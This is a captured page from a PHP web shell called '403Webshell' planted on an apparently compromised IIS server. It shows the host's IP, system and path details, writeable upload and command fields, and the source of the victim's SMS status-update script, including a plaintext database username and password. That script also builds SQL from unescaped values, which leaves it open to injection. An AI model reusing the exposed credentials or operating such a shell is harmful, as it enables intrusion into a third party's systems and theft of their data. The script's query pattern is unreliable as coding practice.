403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /HostingSpaces/admin/247sms.co.uk/wwwroot/clicksend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /HostingSpaces/admin/247sms.co.uk/wwwroot/clicksend/updatestatus.php
<?php

include "general.php";
include "connect.php";

date_default_timezone_set('Africa/Lagos'); 
$cnt = 1;
$cnt2=0;
while($cnt ==1){
    $query= "SELECT sn,message_id,status,status_code,status_text,error_code FROM clicksendlogs where flag ='0' order by sn limit 1";
    //echo $query;
    $con=mysqli_connect("127.0.0.1","smsEngine","guEnaR28T","smartsmsrouter");
       ///Check connection
    if (mysqli_connect_errno())
    {
         return '#';
         die();
    }
    if(!$result= mysqli_query($con,$query))
    {
       mysqli_close($con);
     return "#";
    }
    else
    {
        
       while ($row = mysqli_fetch_array($result))
        {
            
            $sn = $row[0];
            $message_id = $row[1];
            $status =  $row[2];
            $status_code =  Trim($row[3]);
            $status_text =  $row[4];
            $error_code =  $row[5];
            echo "Processing Status" ."\n";
            echo "Messageid ". $message_id."\n";
            echo "Status " .$status ."\n";
           
            //echo $status_code;
            //echo strlen($status_code);
             //update the messagesent
            if($status_code =="201"){
             
             //update the record
             $query = "update messagesent set status ='$status',failurereason='$status_text',failurecode='$error_code',track='2' where messageid = '$message_id' ";
             $queryresponse = updateQuery($query);
           
            //update the record
              $query = "update clicksendlogs set flag ='1' where sn = $sn ";
              $queryresponse = updateQuery($query);
              $cnt2++;             
 
            }else{
              //echo $query;
              $query = "update clicksendlogs set flag ='1' where sn = $sn ";
              $queryresponse = updateQuery($query);
              

              
            }
        
        sleep(5);
       
        }

      } //else
    
    


    echo "\nTotal Status Messages updated ... ".$cnt2 ."\n". date("Y-m-d h:i:s",time())."\n";
    sleep(15);
   
}//end main while


?>

Youez - 2016 - github.com/yon3zu
LinuXploit